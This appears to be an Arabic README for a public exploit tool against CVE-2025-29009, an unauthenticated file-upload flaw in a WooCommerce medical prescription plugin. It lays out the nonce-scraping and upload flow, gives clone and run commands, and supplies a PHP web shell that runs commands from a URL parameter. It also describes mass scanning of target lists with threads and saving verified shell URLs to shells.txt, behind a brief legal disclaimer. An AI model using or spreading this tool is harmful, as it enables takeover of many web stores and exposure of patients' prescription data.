
المكوّن الإضافي WordPress Medical Prescription Attachment Plugin لـ WooCommerce الإصدار <= 1.2.3 عرضة لثغرة رفع ملفات اعتباطية بأولوية عالية.
البرنامج الإضافي Medical Prescription Attachment Plugin for WooCommerce على ووردبريس الإصدار <= 1.2.3 معرّض لثغرة رفع ملفات عشوائية عالية الخطورة
,-. . , ,--. ,-. ,-. ,-. ;--' ,-. ,-. ,-. ,-. ,-.
/ | / | ) / /\ ) | ) ( ) / /\ / /\ ( )
| | / |- --- / | / | / `-. --- / `-'| | / | | / | `-'|
\ |/ | / \/ / / ) / / \/ / \/ / /
`-' ' `--' '--' `-' '--' `-' '--' `-' `-' `-' `-'
| الحقل | التفاصيل |
|---|---|
| CVE | CVE-2025-29009 |
| البرنامج الإضافي | Webkul Medical Prescription Attachment Plugin for WooCommerce |
| المتأثر | جميع الإصدارات ≤ 1.2.3 |
| المصادقة | غير مطلوبة |
| النوع | رفع ملف غير مقيّد بنوع خطير → رفع Web Shell |
| CWE | CWE-434 · رفع ملف غير مقيّد بنوع خطير |
السبب الجذري:
يستقبل معالج AJAX الخاص بـ wkwcpa_handle_prescription_session (action=wkwcpa_handle_prescription_session) ملفات مرفوعة عبر wkwc_pa_prescription_attachment[] دون التحقق من امتداد الملف أو نوع MIME من جهة الخادم. يمكن لمهاجم غير مصادَق استخراج ajaxNonce من واجهة متجر WooCommerce العامة (المضمّنة في كائن JavaScript wkwcpaFrontObj)، ثم رفع Web Shell بلغة PHP مباشرة إلى دليل uploads على الخادم. ويعيد الرد الرابط الكامل القابل للوصول للملف المرفوع.
┌──────────────────────────────────────────────────────────────┐
│ 1. Resolve front page │
│ GET / → GET /shop/ → GET /product/ → GET /?wkwcpa=1│
│ │
│ 2. Extract nonce │
│ Parse wkwcpaFrontObj.ajax.ajaxUrl │
│ Parse wkwcpaFrontObj.ajax.ajaxNonce │
│ │
│ 3. Upload shell │
│ POST <ajaxUrl> │
│ action = wkwcpa_handle_prescription_session │
│ nonce = <ajaxNonce> │
│ type = upload │
│ wkwc_pa_prescription_attachment[] = shell.php │
│ │
│ 4. Parse response │
│ JSON → data.attachments_img_html[].src → shell URL │
│ │
│ 5. Verify shell │
│ GET <shell_url> → check for unique signature │
│ │
│ 6. Save to shells.txt │
└──────────────────────────────────────────────────────────────┘
git clone https://github.com/Nxploited/CVE-2025-29009.git
cd CVE-2025-29009
pip install -r requirements.txt
requirements.txt
requests>=2.28.0
urllib3>=1.26.0
rich>=13.0.0
أنشئ قشرة PHP خاصة بك وضمّن سلسلة توقيع فريدة حتى تتمكن الأداة من التحقق من نجاح التنفيذ:
<?php
// NxploitedShellOK
system($_GET['cmd']);
?>
احفظها باسم shell.php في نفس دليل السكربت.
السلسلة NxploitedShellOK هي التوقيع — يجب أن تظهر في استجابة القشرة حتى ينجح التحقق.
python3 CVE-2025-29009.py
Targets file (default list.txt): list.txt
Threads (default 10): 10
Local shell filename (e.g. shell.php): shell.php
Unique shell signature (e.g. NxploitedShellOK): NxploitedShellOK
list.txthttps://target1.com
target2.com
http://target3.com
الأهداف التي لا تحتوي على
http://أوhttps://تُسبَق تلقائيًا بـhttp://.
| الملف | المحتوى |
|---|---|
shells.txt | رابط قشرة واحد مُتحقَّق منه لكل سطر |
الطرفية:
[SHELL] https://target.com/wp-content/uploads/2025/06/shell.php
[FAIL] https://target2.com (nonce_not_found)
[FAIL] https://target3.com (success_false)
[Status] 3/3 OK:1 FAIL:2
| الرمز | المعنى |
|---|---|
shell_file_missing | ملف shell.php غير موجود في دليل العمل |
no_front_page | لا توجد صفحة مرشّحة أعادت HTTP 200 |
nonce_not_found | كائن wkwcpaFrontObj غير موجود في أي صفحة |
upload_error | خطأ في الشبكة أثناء POST |
json_parse_error | الاستجابة ليست JSON صالحة |
success_false | أعاد الخادم data.success = false |
no_attachments | نجح الرفع ولكن لا يوجد URL في الاستجابة |
shell_url_not_found | تعذّر استخراج رابط الملف من HTML الاستجابة |
Nxploited
GitHub → https://github.com/Nxploited
Telegram → @KNxploited
FOR AUTHORIZED SECURITY RESEARCH AND EDUCATION ONLY.
The author bears no responsibility for use against systems
the operator does not own or have explicit written permission to test.
Unauthorized use violates the CFAA, CMA, and equivalent laws worldwide.
You alone are responsible for your actions.
© 2025 Nxploited · Medical Prescription Attachment ≤ 1.2.3 · تم الإصلاح في 1.2.4